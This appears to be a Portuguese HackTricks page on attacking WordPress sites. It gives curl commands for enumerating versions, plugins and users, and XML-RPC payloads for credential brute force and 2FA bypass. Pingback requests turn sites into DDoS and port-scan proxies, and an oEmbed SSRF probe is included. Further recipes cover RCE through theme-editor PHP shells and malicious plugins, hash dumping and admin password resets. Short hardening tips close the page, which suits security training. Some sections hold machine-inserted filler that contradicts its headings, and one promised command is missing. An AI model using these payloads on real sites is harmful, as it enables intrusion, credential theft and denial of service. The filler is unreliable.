hacktricks/network-services-pentesting/pentesting-web/wordpress.md

455 lines
24 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# Wordpress
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
2023-06-06 18:56:34 +00:00
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
## Informações Básicas
Os arquivos **enviados** vão para: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
Os arquivos de **temas podem ser encontrados em /wp-content/themes/**, então se você alterar algum php do tema para obter RCE, provavelmente usará esse caminho. Por exemplo: Usando o **tema twentytwelve**, você pode **acessar** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Outra URL útil pode ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
No arquivo **wp-config.php**, você pode encontrar a senha raiz do banco de dados.
2023-06-06 18:56:34 +00:00
Caminhos de login padrão para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Principais Arquivos do WordPress**
* `index.php`
2023-06-06 18:56:34 +00:00
* `license.txt` contém informações úteis, como a versão do WordPress instalada.
* `wp-activate.php` é usado para o processo de ativação por e-mail ao configurar um novo site WordPress.
* Pastas de login (podem ser renomeadas para ocultá-las):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
* `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite a transmissão de dados com HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pela [API REST](https://developer.wordpress.org/rest-api/reference) do WordPress.
2023-06-06 18:56:34 +00:00
* A pasta `wp-content` é o diretório principal onde os plugins e temas são armazenados.
* `wp-content/uploads/` é o diretório onde os arquivos enviados para a plataforma são armazenados.
* `wp-includes/` é o diretório onde os arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
2023-06-06 18:56:34 +00:00
**Pós-exploração**
* O arquivo `wp-config.php` contém informações necessárias pelo WordPress para se conectar ao banco de dados, como o nome do banco de dados, o host do banco de dados, o nome de usuário e a senha, chaves de autenticação e salts, e o prefixo da tabela do banco de dados. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil para solução de problemas.
Permissões dos usuários
2023-06-06 18:56:34 +00:00
* **Administrador**
* **Editor**: Publica e gerencia suas próprias postagens e de outros usuários
* **Autor**: Publica e gerencia suas próprias postagens
* **Contribuidor**: Escreve e gerencia suas próprias postagens, mas não pode publicá-las
* **Assinante**: Navega pelas postagens e edita seu perfil
## Enumeração Passiva
2023-06-06 18:56:34 +00:00
### Obter a versão do WordPress
2023-06-06 18:56:34 +00:00
Verifique se você pode encontrar os arquivos `/license.txt` ou `/readme.html`
2023-06-06 18:56:34 +00:00
Dentro do **código-fonte** da página (exemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
2022-10-02 23:08:05 +00:00
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `meta name`
![](<../../.gitbook/assets/image (343).png>)
2023-06-06 18:56:34 +00:00
* Arquivos de link CSS
![](<../../.gitbook/assets/image (344).png>)
2023-06-06 18:56:34 +00:00
* Arquivos JavaScript
![](<../../.gitbook/assets/image (346).png>)
2023-06-06 18:56:34 +00:00
### Obter Plugins
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
2023-06-06 18:56:34 +00:00
### Obter Temas
2023-08-29 18:57:50 +00:00
Para obter temas no WordPress, você pode seguir estas etapas:
1. Acesse o painel de administração do WordPress.
2. No menu lateral, clique em "Aparência" e selecione "Temas".
3. Você será direcionado para a página de temas, onde poderá ver os temas instalados atualmente.
4. Para adicionar um novo tema, clique no botão "Adicionar Novo".
5. Navegue pelos temas disponíveis ou use a barra de pesquisa para encontrar um tema específico.
6. Quando encontrar um tema que deseja instalar, clique no botão "Instalar".
7. Após a instalação, clique no botão "Ativar" para ativar o tema.
Agora você tem um novo tema instalado e ativado em seu site WordPress.
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
2023-06-06 18:56:34 +00:00
### Extrair versões em geral
2023-08-29 18:57:50 +00:00
Ao realizar testes de penetração em um site WordPress, é importante extrair informações sobre as versões dos componentes utilizados. Isso pode ajudar a identificar vulnerabilidades conhecidas e determinar se o site está atualizado com as versões mais recentes.
Existem várias maneiras de extrair informações sobre as versões do WordPress e dos plugins instalados:
1. **Página de login**: A versão do WordPress geralmente é exibida na página de login. Verifique o código-fonte da página ou use ferramentas de desenvolvedor para encontrar essa informação.
2. **Arquivos de estilo**: Alguns temas do WordPress exibem a versão do WordPress no arquivo de estilo do tema. Procure por um comentário no início do arquivo que indique a versão.
3. **Arquivos de manifesto**: Os plugins do WordPress geralmente possuem um arquivo de manifesto (manifest file) que contém informações sobre a versão. Procure por arquivos como `plugin-name.php` ou `plugin-name/readme.txt` e verifique o conteúdo para encontrar a versão.
4. **Headers HTTP**: Alguns servidores podem enviar informações sobre a versão do WordPress nos headers HTTP. Use ferramentas como o cURL ou o Burp Suite para visualizar os headers da resposta do servidor.
5. **Fingerprinting**: Existem ferramentas de fingerprinting específicas para WordPress, como o WPScan, que podem ser usadas para identificar a versão do WordPress e dos plugins instalados.
É importante lembrar que a extração de informações sobre versões não deve ser usada para fins maliciosos. Essas informações devem ser usadas apenas para fins de teste de penetração e para ajudar a garantir a segurança do site WordPress.
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
2023-08-29 18:57:50 +00:00
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2023-06-06 18:56:34 +00:00
## Enumeração ativa
2023-06-06 18:56:34 +00:00
### Plugins e Temas
Provavelmente você não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará **forçar ativamente uma lista de Plugins e Temas** (felizmente, existem ferramentas automatizadas que contêm essas listas).
2023-06-06 18:56:34 +00:00
### Usuários
**ID Brute**
2023-08-29 18:57:50 +00:00
Você obtém usuários válidos de um site WordPress forçando IDs de usuários:
```
curl -s -I -X GET http://blog.example.com/?author=1
```
2023-06-06 18:56:34 +00:00
Se as respostas forem **200** ou **30X**, isso significa que o id é **válido**. Se a resposta for **400**, então o id é **inválido**.
2022-04-28 23:27:22 +00:00
**wp-json**
2023-06-06 18:56:34 +00:00
Você também pode tentar obter informações sobre os usuários consultando:
```
curl http://blog.example.com/wp-json/wp/v2/users
```
**Apenas informações sobre os usuários que possuem esse recurso habilitado serão fornecidas**.
2023-06-06 18:56:34 +00:00
Também observe que **/wp-json/wp/v2/pages** pode vazar endereços IP.
2022-10-02 23:08:05 +00:00
#### Enumeração de nomes de usuário de login
2022-10-02 23:08:05 +00:00
2023-06-06 18:56:34 +00:00
Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente** se o **nome de usuário indicado existe ou não**.
2022-05-01 16:57:45 +00:00
### XML-RPC
Se `xml-rpc.php` estiver ativo, você pode realizar uma força bruta de credenciais ou usá-lo para lançar ataques de negação de serviço a outros recursos. (Você pode automatizar esse processo [usando isso](https://github.com/relarizky/wpxploit), por exemplo).
Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitação:
2023-06-06 18:56:34 +00:00
**Verificar**
```markup
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
2023-06-06 18:56:34 +00:00
**Força Bruta de Credenciais**
2023-06-06 18:56:34 +00:00
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para força bruta de credenciais. Se você encontrar algum deles, pode enviar algo como:
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
```
2023-06-06 18:56:34 +00:00
A mensagem _"Nome de usuário ou senha incorretos"_ dentro de uma resposta de código 200 deve aparecer se as credenciais não forem válidas.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>)
2022-10-08 16:35:25 +00:00
![](<../../.gitbook/assets/image (102).png>)
2023-06-06 18:56:34 +00:00
Usando as credenciais corretas, você pode fazer upload de um arquivo. Na resposta, o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
2022-10-08 16:35:25 +00:00
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
2022-10-08 16:35:25 +00:00
</methodCall>
```
Também há uma maneira **mais rápida** de forçar credenciais usando **`system.multicall`** pois você pode tentar várias credenciais na mesma solicitação:
2022-10-22 15:26:54 +00:00
<figure><img src="../../.gitbook/assets/image (188).png" alt=""><figcaption></figcaption></figure>
**Burlar a autenticação de dois fatores (2FA)**
2022-02-09 20:26:27 +00:00
Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Portanto, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode abusar do xmlrpc.php para fazer login com essas credenciais, burlando o 2FA**. Observe que você não poderá executar todas as ações que pode fazer pelo console, mas ainda poderá obter RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
2022-02-09 20:26:27 +00:00
2023-06-06 18:56:34 +00:00
**DDoS ou varredura de porta**
2023-06-06 18:56:34 +00:00
Se você encontrar o método _**pingback.ping**_ na lista, pode fazer o Wordpress enviar uma solicitação arbitrária para qualquer host/porta.\
Isso pode ser usado para solicitar que **milhares** de **sites** Wordpress acessem um **local** específico (causando um **DDoS** nesse local) ou você pode usá-lo para fazer o **Wordpress** varrer uma **rede** interna (você pode indicar qualquer porta).
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
```
Se você receber **faultCode** com um valor **maior** que **0** (17), significa que a porta está aberta.
2023-06-06 18:56:34 +00:00
Dê uma olhada no uso de **`system.multicall`** na seção anterior para aprender como abusar desse método para causar DDoS.
2022-12-09 14:47:58 +00:00
**DDoS**
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
```
![](<../../.gitbook/assets/image (103).png>)
2022-12-09 14:47:58 +00:00
### wp-cron.php DoS
2023-06-06 18:56:34 +00:00
Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
Quando este arquivo é **acessado**, uma consulta MySQL "**pesada**" é realizada, então pode ser usado por **atacantes** para **causar** um **DoS**.\
2023-06-06 18:56:34 +00:00
Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
2022-12-09 14:47:58 +00:00
Recomenda-se desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
2022-12-09 14:47:58 +00:00
2022-05-01 16:57:45 +00:00
### /wp-json/oembed/1.0/proxy - SSRF
2023-06-06 18:56:34 +00:00
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site Wordpress pode fazer uma solicitação para você.
2023-06-06 18:56:34 +00:00
Esta é a resposta quando não funciona:
2022-09-30 10:43:59 +00:00
![](<../../.gitbook/assets/image (184) (1).png>)
2022-05-01 16:57:45 +00:00
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Esta ferramenta verifica se o **methodName: pingback.ping** e o caminho **/wp-json/oembed/1.0/proxy** existem e, se existirem, tenta explorá-los.
2023-06-06 18:56:34 +00:00
### Ferramentas Automáticas
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
2022-02-09 20:26:27 +00:00
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
2023-08-29 18:57:50 +00:00
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
2023-06-06 18:56:34 +00:00
Obtenha acesso hoje:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
## Obtenha acesso sobrescrevendo um bit
2023-08-29 18:57:50 +00:00
Mais do que um ataque real, isso é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man), você poderia inverter 1 bit de qualquer arquivo do WordPress. Portanto, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para anular a operação NOT (`!`).
2022-06-23 12:12:25 +00:00
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
2022-06-23 12:12:25 +00:00
```
## **RCE do Painel**
2023-08-29 18:57:50 +00:00
**Modificando um arquivo php do tema usado (é necessário ter credenciais de administrador)**
2023-06-06 18:56:34 +00:00
Aparência → Editor de Temas → Modelo 404 (à direita)
2023-06-06 18:56:34 +00:00
Altere o conteúdo para um shell php:
2022-12-24 19:34:46 +00:00
![](<../../.gitbook/assets/image (21) (1) (1).png>)
Pesquise na internet como você pode acessar essa página atualizada. Neste caso, você precisa acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
2022-05-01 16:57:45 +00:00
### MSF
2023-06-06 18:56:34 +00:00
Você pode usar:
```
use exploit/unix/webapp/wp_admin_shell_upload
```
2022-05-01 16:57:45 +00:00
## Plugin RCE
2023-06-06 18:56:34 +00:00
### Plugin PHP
É possível fazer upload de arquivos .php como um plugin.\
Crie sua backdoor em php usando, por exemplo:
![](<../../.gitbook/assets/image (407).png>)
2023-06-06 18:56:34 +00:00
Em seguida, adicione um novo plugin:
![](<../../.gitbook/assets/image (409).png>)
Faça o upload do plugin e clique em Instalar Agora:
![](<../../.gitbook/assets/image (411).png>)
2023-06-06 18:56:34 +00:00
Clique em Proceder:
![](<../../.gitbook/assets/image (412).png>)
Provavelmente isso não fará nada aparentemente, mas se você for para Mídia, verá sua shell enviada:
![](<../../.gitbook/assets/image (413).png>)
2023-06-06 18:56:34 +00:00
Acesse-a e você verá a URL para executar a reverse shell:
![](<../../.gitbook/assets/image (414).png>)
### Fazendo upload e ativando um plugin malicioso
2023-06-06 18:56:34 +00:00
**(Esta parte é copiada de** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**)**
Às vezes, os usuários logados não possuem autorização de gravação para fazer modificações no tema do WordPress, então escolhemos "Inject WP plugin malicious" como uma estratégia alternativa para obter uma web shell.
Portanto, uma vez que você tenha acesso ao painel do WordPress, você pode tentar instalar um plugin malicioso. Aqui, eu já baixei o plugin vulnerável do exploit db.
2023-06-06 18:56:34 +00:00
Clique [**aqui**](https://www.exploit-db.com/exploits/36374) para baixar o plugin para praticar.
2021-11-30 16:46:07 +00:00
![](https://i1.wp.com/1.bp.blogspot.com/-Y\_Aw7zSFJZs/XY9pymSjdvI/AAAAAAAAguY/FGyGEzlx9VIqNYyyra9r55IklNmwXwMQwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1)
2023-06-06 18:56:34 +00:00
Como temos o arquivo zip para o plugin, agora é hora de fazer o upload do plugin.
Painel > plugins > fazer upload do plugin
2021-11-30 16:46:07 +00:00
![](https://i0.wp.com/1.bp.blogspot.com/-FLhqB0I32Mg/XY9pyrlKWAI/AAAAAAAAguU/tofpIetTCv4Mho5y5D\_sDuuokC7mDmKowCLcBGAsYHQ/s1600/11.png?w=687\&ssl=1)
2023-06-06 18:56:34 +00:00
Procure o arquivo zip baixado, conforme mostrado.
![](https://i2.wp.com/1.bp.blogspot.com/-KMumiwE2Tf0/XY9pzznEI4I/AAAAAAAAguk/BavBJP6plFo8NIpa38oWEKfx0jkOXv3HgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1)
Depois que o pacote for instalado com sucesso, precisamos ativar o plugin.
![](https://i2.wp.com/1.bp.blogspot.com/-YrFg94Y2EZs/XY9pzydfLDI/AAAAAAAAgug/AjZyQ6Na8kUUmquJXwoapxcmr2-8nAMwQCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1)
Quando tudo estiver configurado corretamente, vá para a exploração. Como instalamos o plugin vulnerável chamado "reflex-gallery" e ele é facilmente explorável.
Você obterá o exploit para essa vulnerabilidade dentro do framework Metasploit e, em seguida, carregue o módulo abaixo e execute o seguinte comando:
À medida que os comandos acima são executados, você terá sua sessão meterpreter. Assim como retratado neste artigo, existem vários métodos para explorar um site baseado em WordPress.
2021-11-30 16:46:07 +00:00
![](https://i1.wp.com/1.bp.blogspot.com/-s6Yblqj-zQ8/XY9pz0qYWAI/AAAAAAAAguo/WXgEBKIB64Ian\_RQWaltbEtdzCNpexKOwCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1)
2023-06-06 18:56:34 +00:00
## Pós-Exploração
2023-06-06 18:56:34 +00:00
Extrair nomes de usuários e senhas:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Alterar senha do administrador:
2023-08-29 18:57:50 +00:00
Para garantir a segurança do seu site WordPress, é importante alterar regularmente a senha do administrador. Siga as etapas abaixo para alterar a senha do administrador:
1. Faça login no painel de administração do WordPress.
2. No menu lateral, clique em "Usuários".
3. Selecione o usuário "admin" na lista de usuários.
4. Role a página até a seção "Alterar Senha".
5. Clique no link "Gerar Senha" para gerar uma nova senha segura automaticamente.
6. Copie a nova senha gerada ou defina uma senha personalizada.
7. Clique no botão "Atualizar Perfil" para salvar as alterações.
Certifique-se de escolher uma senha forte, que contenha uma combinação de letras maiúsculas e minúsculas, números e caracteres especiais. Evite usar senhas óbvias ou fáceis de adivinhar.
2023-08-29 18:57:50 +00:00
Após alterar a senha do administrador, lembre-se de atualizar todas as informações de login relacionadas ao seu site WordPress para garantir a segurança contínua.
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
2023-06-06 18:56:34 +00:00
## Proteção do WordPress
2023-06-06 18:56:34 +00:00
### Atualizações regulares
Certifique-se de que o WordPress, plugins e temas estejam atualizados. Além disso, confirme se a atualização automática está habilitada no arquivo wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Também, **instale apenas plugins e temas confiáveis do WordPress**.
2023-06-06 18:56:34 +00:00
### Plugins de Segurança
2022-02-09 18:48:09 +00:00
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
2023-06-06 18:56:34 +00:00
### **Outras Recomendações**
2023-06-06 18:56:34 +00:00
* Remova o usuário padrão **admin**
* Use **senhas fortes** e **2FA**
* Periodicamente **revise** as **permissões** dos usuários
* **Limite as tentativas de login** para prevenir ataques de Força Bruta
* Renomeie o arquivo **`wp-admin.php`** e permita o acesso apenas internamente ou de determinados endereços IP.
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2023-06-06 18:56:34 +00:00
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-06 18:56:34 +00:00
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>